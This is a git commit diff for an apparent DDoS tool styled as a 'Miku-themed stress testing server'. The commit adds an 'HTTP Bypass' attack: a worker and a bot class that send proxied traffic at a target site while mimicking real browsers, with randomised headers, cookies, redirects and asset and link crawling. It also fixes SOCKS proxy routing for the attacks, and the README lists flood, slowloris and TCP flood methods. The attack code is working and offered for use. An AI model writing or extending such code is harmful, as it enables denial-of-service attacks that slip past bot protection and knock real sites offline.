feature: 🚀 added bypass method + fix socks proxy http bug
This commit is contained in:
parent
60aab0bf2b
commit
10bcb2bafd
10 changed files with 342 additions and 10 deletions
|
@ -15,6 +15,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
|
|||
- 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸
|
||||
- 📡 **Attack Methods:**:
|
||||
- `HTTP Flood` - Send random HTTP requests
|
||||
- `HTTP Bypass` - Send HTTP requests that mimics real requests (Redirects, cookies, headers, resources...)
|
||||
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
|
||||
- `Minecraft Ping` - Send Minecraft ping/motd requests
|
||||
- `TCP Flood` - Send random TCP packets
|
||||
|
|
|
@ -14,6 +14,7 @@ import { filterProxies } from "./proxyUtils";
|
|||
// Define the workers based on attack type
|
||||
const attackWorkers: { [key in AttackMethod]: string } = {
|
||||
http_flood: "./workers/httpFloodAttack.js",
|
||||
http_bypass: "./workers/httpBypassAttack.js",
|
||||
http_slowloris: "./workers/httpSlowlorisAttack.js",
|
||||
tcp_flood: "./workers/tcpFloodAttack.js",
|
||||
minecraft_ping: "./workers/minecraftPingAttack.js",
|
||||
|
|
|
@ -10,6 +10,7 @@ export interface Proxy {
|
|||
|
||||
export type AttackMethod =
|
||||
| "http_flood"
|
||||
| "http_bypass"
|
||||
| "http_slowloris"
|
||||
| "tcp_flood"
|
||||
| "minecraft_ping";
|
||||
|
|
|
@ -14,6 +14,7 @@ const COMMON_PORTS: { [port: number]: ProxyProtocol } = {
|
|||
|
||||
const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
|
||||
http_flood: ["http", "https", "socks4", "socks5"],
|
||||
http_bypass: ["http", "https", "socks4", "socks5"],
|
||||
http_slowloris: ["socks4", "socks5"],
|
||||
tcp_flood: ["socks4", "socks5"],
|
||||
minecraft_ping: ["socks4", "socks5"],
|
||||
|
|
|
@ -19,13 +19,14 @@ export function createAgent(proxy) {
|
|||
|
||||
// HTTP Client
|
||||
export function createMimicHttpClient(proxy, userAgent) {
|
||||
return axios.create({
|
||||
return createHttpClient({
|
||||
headers: { "User-Agent": userAgent },
|
||||
proxy,
|
||||
timeout: 5000,
|
||||
validateStatus: (status) => {
|
||||
return status < 500;
|
||||
},
|
||||
maxRedirects: 3,
|
||||
});
|
||||
}
|
||||
|
||||
|
@ -39,15 +40,11 @@ export function createHttpClient(
|
|||
validateStatus: (status) => {
|
||||
return status < 500;
|
||||
},
|
||||
proxy: {
|
||||
protocol: "http",
|
||||
host: "127.0.0.1",
|
||||
port: 1080,
|
||||
},
|
||||
maxRedirects: 0,
|
||||
proxy: {},
|
||||
}
|
||||
) {
|
||||
const config = { ...clientConfig };
|
||||
const client = axios.create(config);
|
||||
const proxy = config.proxy;
|
||||
|
||||
if (proxy.protocol == "http" || proxy.protocol == "https") {
|
||||
|
@ -57,13 +54,17 @@ export function createHttpClient(
|
|||
auth: proxy.username ? { username: proxy.username } : null,
|
||||
};
|
||||
} else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") {
|
||||
config.httpAgent = createAgent(proxy);
|
||||
const agent = createAgent(proxy);
|
||||
config.proxy = false;
|
||||
config.httpAgent = agent;
|
||||
config.httpsAgent = agent;
|
||||
} else {
|
||||
throw new Error(
|
||||
"Unsupported proxy protocol for HTTP client: " + proxy.protocol
|
||||
);
|
||||
}
|
||||
|
||||
const client = axios.create(config);
|
||||
return client;
|
||||
}
|
||||
|
||||
|
|
212
server/utils/httpBot.js
Normal file
212
server/utils/httpBot.js
Normal file
|
@ -0,0 +1,212 @@
|
|||
import { load as cheerioLoad } from "cheerio"; // For parsing HTML
|
||||
|
||||
import { createHttpClient } from "./clientUtils.js";
|
||||
import { randomInteger } from "./randomUtils.js";
|
||||
|
||||
export default class HTTPBot {
|
||||
constructor({
|
||||
proxy = null,
|
||||
userAgent = "Mozilla/5.0",
|
||||
headers = {},
|
||||
followRedirects = true,
|
||||
responseCallback = null,
|
||||
} = {}) {
|
||||
this.visitedUrls = new Set(); // To avoid revisiting the same URL multiple times
|
||||
this.running = false;
|
||||
|
||||
// Default headers
|
||||
this.defaultHeaders = {
|
||||
"User-Agent": userAgent,
|
||||
Accept:
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
Connection: "keep-alive",
|
||||
...headers, // Override default headers if custom headers are passed
|
||||
};
|
||||
|
||||
// Create Axios instance with optional proxy and cookie handling
|
||||
this.axiosInstance = createHttpClient({
|
||||
headers: this.defaultHeaders,
|
||||
proxy,
|
||||
timeout: 10000,
|
||||
maxRedirects: followRedirects ? 5 : 0,
|
||||
validateStatus: (status) => {
|
||||
return status < 500;
|
||||
},
|
||||
});
|
||||
|
||||
this.cookies = {}; // Store cookies from responses
|
||||
this.responseCallback = responseCallback;
|
||||
}
|
||||
|
||||
// Main function that starts the cycle
|
||||
startCycle(url) {
|
||||
this.running = true;
|
||||
this.runCycle(url);
|
||||
}
|
||||
|
||||
// Perform the cycle recursively with setTimeout to avoid blocking
|
||||
async runCycle(url) {
|
||||
if (!this.running) return; // Exit if the bot is not running
|
||||
|
||||
const runNextCycle = async () => {
|
||||
// Wait for a random time between 2 to 10 seconds before starting the next cycle
|
||||
const randomWait = randomInteger(2000, 10000);
|
||||
await this.sleep(randomWait);
|
||||
|
||||
// Start the next cycle
|
||||
this.runCycle(url);
|
||||
};
|
||||
|
||||
try {
|
||||
// Perform a GET request to the main URL
|
||||
const mainResponse = await this.getRequest(url, true);
|
||||
if (!mainResponse) {
|
||||
runNextCycle();
|
||||
return;
|
||||
}
|
||||
|
||||
const $ = cheerioLoad(mainResponse.data);
|
||||
|
||||
// Get all assets (CSS, JS, IMG)
|
||||
const assets = this.getAssets($, url);
|
||||
|
||||
// Download all assets
|
||||
for (let asset of assets) {
|
||||
await this.getRequest(asset);
|
||||
}
|
||||
|
||||
// Get all <a> links and make GET requests to each one with a delay
|
||||
const links = this.getLinks($, url);
|
||||
const linkPromises = links.map((link) => this.getRequest(link));
|
||||
|
||||
// Wait for all links to be processed
|
||||
await Promise.all(linkPromises);
|
||||
|
||||
// Run the next cycle
|
||||
runNextCycle();
|
||||
} catch (err) {
|
||||
if (this.responseCallback) {
|
||||
this.responseCallback(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Makes a GET request with Axios and handles errors
|
||||
async getRequest(url, bypassAlreadyVisited = false) {
|
||||
if (!bypassAlreadyVisited) {
|
||||
if (this.visitedUrls.has(url)) {
|
||||
// console.log(`Skipping already visited URL: ${url}`);
|
||||
return;
|
||||
}
|
||||
|
||||
this.visitedUrls.add(url);
|
||||
}
|
||||
|
||||
try {
|
||||
// console.log(`Requesting: ${url}`);
|
||||
const response = await this.axiosInstance.get(url);
|
||||
if (this.responseCallback) {
|
||||
this.responseCallback();
|
||||
}
|
||||
|
||||
// Handle cookies from response headers
|
||||
this.handleCookies(response.headers["set-cookie"]);
|
||||
|
||||
// Wait between 2 to 5 seconds after each request
|
||||
await this.sleep(randomInteger(100, 1000));
|
||||
return response;
|
||||
} catch (error) {
|
||||
if (this.responseCallback) {
|
||||
this.responseCallback(error);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Handle cookies by storing them and attaching them to future requests
|
||||
handleCookies(setCookieHeader) {
|
||||
if (setCookieHeader) {
|
||||
setCookieHeader.forEach((cookie) => {
|
||||
const cookieParts = cookie.split(";")[0]; // Get the cookie before the first ';'
|
||||
const [cookieName, cookieValue] = cookieParts.split("=");
|
||||
this.cookies[cookieName] = cookieValue;
|
||||
});
|
||||
|
||||
// Add the cookies to the headers for the next request
|
||||
this.axiosInstance.defaults.headers["Cookie"] = Object.entries(
|
||||
this.cookies
|
||||
)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("; ");
|
||||
}
|
||||
}
|
||||
|
||||
// Extracts all assets (CSS, JS, IMG) from the HTML
|
||||
getAssets($, target) {
|
||||
let assets = [];
|
||||
$('link[rel="stylesheet"], script[src], img[src]').each((i, el) => {
|
||||
const src = $(el).attr("href") || $(el).attr("src");
|
||||
if (src) assets.push(src);
|
||||
});
|
||||
|
||||
// Normalize assets by target
|
||||
assets = assets.map((asset) => {
|
||||
if (asset.startsWith("../")) {
|
||||
asset = asset.slice(3);
|
||||
}
|
||||
|
||||
if (asset.startsWith("./")) {
|
||||
asset = asset.slice(2);
|
||||
}
|
||||
|
||||
if (asset.startsWith("/")) {
|
||||
asset = asset.slice(1);
|
||||
}
|
||||
|
||||
if (asset.includes("://")) return asset;
|
||||
return `${target}/${asset}`;
|
||||
});
|
||||
|
||||
return assets;
|
||||
}
|
||||
|
||||
// Extracts all <a> links to make GET requests to each one
|
||||
getLinks($, target) {
|
||||
let links = [];
|
||||
$("a[href]").each((i, el) => {
|
||||
const href = $(el).attr("href");
|
||||
if (href) links.push(href);
|
||||
});
|
||||
|
||||
// Normalize links by target
|
||||
links = links.map((link) => {
|
||||
if (link.startsWith("../")) {
|
||||
link = link.slice(3);
|
||||
}
|
||||
|
||||
if (link.startsWith("./")) {
|
||||
link = link.slice(2);
|
||||
}
|
||||
|
||||
if (link.startsWith("/")) {
|
||||
link = link.slice(1);
|
||||
}
|
||||
|
||||
if (link.includes("://")) return link;
|
||||
return `${target}/${link}`;
|
||||
});
|
||||
|
||||
return links;
|
||||
}
|
||||
|
||||
// Function to wait for a random amount of time
|
||||
sleep(ms) {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
|
||||
// Stop the cycle
|
||||
stopCycle() {
|
||||
this.running = false;
|
||||
}
|
||||
}
|
|
@ -1,5 +1,5 @@
|
|||
// Adapted from: https://github.com/Cryptkeeper/mcping-js/
|
||||
import { createTcpClient } from "./clientUtils";
|
||||
import { createTcpClient } from "./clientUtils.js";
|
||||
|
||||
class MinecraftProtocol {
|
||||
static writeVarInt(val) {
|
||||
|
|
|
@ -16,3 +16,7 @@ export function randomString(length) {
|
|||
export function randomInteger(min, max) {
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
export function randomItem(array) {
|
||||
return array[Math.floor(Math.random() * array.length)];
|
||||
}
|
||||
|
|
92
server/workers/httpBypassAttack.js
Normal file
92
server/workers/httpBypassAttack.js
Normal file
|
@ -0,0 +1,92 @@
|
|||
import { parentPort, workerData } from "worker_threads";
|
||||
|
||||
import HTTPBot from "../utils/httpBot.js";
|
||||
import { randomItem } from "../utils/randomUtils.js";
|
||||
|
||||
const HTTP_ACCEPT_HEADERS = [
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
];
|
||||
|
||||
const HTTP_LANGUAGE_HEADERS = [
|
||||
"en-US,en;q=0.5",
|
||||
"es-ES,en;q=0.5",
|
||||
"fr-FR,en;q=0.5",
|
||||
"de-DE,en;q=0.5",
|
||||
"it-IT,en;q=0.5",
|
||||
"pt-BR,en;q=0.5",
|
||||
];
|
||||
|
||||
const HTTP_ENCODING_HEADERS = [
|
||||
"gzip, deflate, br",
|
||||
"gzip, deflate",
|
||||
"gzip",
|
||||
"deflate, br",
|
||||
"deflate",
|
||||
"br",
|
||||
];
|
||||
|
||||
const startAttack = () => {
|
||||
const { target, proxies, userAgents, duration } = workerData;
|
||||
const fixedTarget = target.startsWith("http") ? target : `https://${target}`;
|
||||
|
||||
let totalPackets = 0;
|
||||
const pool = new Set();
|
||||
|
||||
const createBot = (proxy) => {
|
||||
const bot = new HTTPBot({
|
||||
proxy,
|
||||
userAgent: randomItem(userAgents),
|
||||
followRedirects: true,
|
||||
headers: {
|
||||
Accept: randomItem(HTTP_ACCEPT_HEADERS),
|
||||
"Accept-Language": randomItem(HTTP_LANGUAGE_HEADERS),
|
||||
"Accept-Encoding": randomItem(HTTP_ENCODING_HEADERS),
|
||||
Connection: "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
},
|
||||
responseCallback: (error) => {
|
||||
if (error) {
|
||||
parentPort.postMessage({
|
||||
log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
|
||||
totalPackets,
|
||||
});
|
||||
} else {
|
||||
totalPackets++;
|
||||
parentPort.postMessage({
|
||||
log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
|
||||
totalPackets,
|
||||
});
|
||||
}
|
||||
},
|
||||
});
|
||||
|
||||
pool.add(bot);
|
||||
bot.startCycle(fixedTarget);
|
||||
};
|
||||
|
||||
const createPool = () => {
|
||||
proxies.forEach((proxy) => createBot(proxy));
|
||||
};
|
||||
|
||||
const clearPool = () => {
|
||||
pool.forEach((bot) => bot.stopCycle());
|
||||
pool.clear();
|
||||
};
|
||||
|
||||
setTimeout(() => {
|
||||
clearPool();
|
||||
parentPort.postMessage({ log: "Attack finished", totalPackets });
|
||||
process.exit(0);
|
||||
}, duration * 1000);
|
||||
|
||||
createPool();
|
||||
};
|
||||
|
||||
if (workerData) {
|
||||
startAttack();
|
||||
}
|
21
src/App.tsx
21
src/App.tsx
|
@ -2,7 +2,25 @@ import { Bot, ScrollText, Wand2, Wifi, Zap } from "lucide-react";
|
|||
import { useEffect, useRef, useState } from "react";
|
||||
import { io } from "socket.io-client";
|
||||
|
||||
const socket = io("http://localhost:3000");
|
||||
function isHostLocal(host: string) {
|
||||
return (
|
||||
host === "localhost" ||
|
||||
host === "127.0.0.1" ||
|
||||
host.startsWith("::1") ||
|
||||
host.startsWith("192.168") ||
|
||||
host.startsWith("10.") ||
|
||||
host.startsWith("172.")
|
||||
);
|
||||
}
|
||||
|
||||
function getSocketURL() {
|
||||
const host = window.location.host.split(":")[0];
|
||||
const isLocal = isHostLocal(host);
|
||||
const socketURL = isLocal ? `http://${host}:3000` : "/";
|
||||
return socketURL;
|
||||
}
|
||||
|
||||
const socket = io(getSocketURL());
|
||||
|
||||
function ConfigureProxiesAndAgentsView() {
|
||||
const [loadingConfiguration, setLoadingConfiguration] = useState(false);
|
||||
|
@ -369,6 +387,7 @@ function App() {
|
|||
disabled={isAttacking}
|
||||
>
|
||||
<option value="http_flood">HTTP/Flood</option>
|
||||
<option value="http_bypass">HTTP/Bypass</option>
|
||||
<option value="http_slowloris">HTTP/Slowloris</option>
|
||||
<option value="tcp_flood">TCP/Flood</option>
|
||||
<option value="minecraft_ping">Minecraft/Ping</option>
|
||||
|
|
Loading…
Add table
Reference in a new issue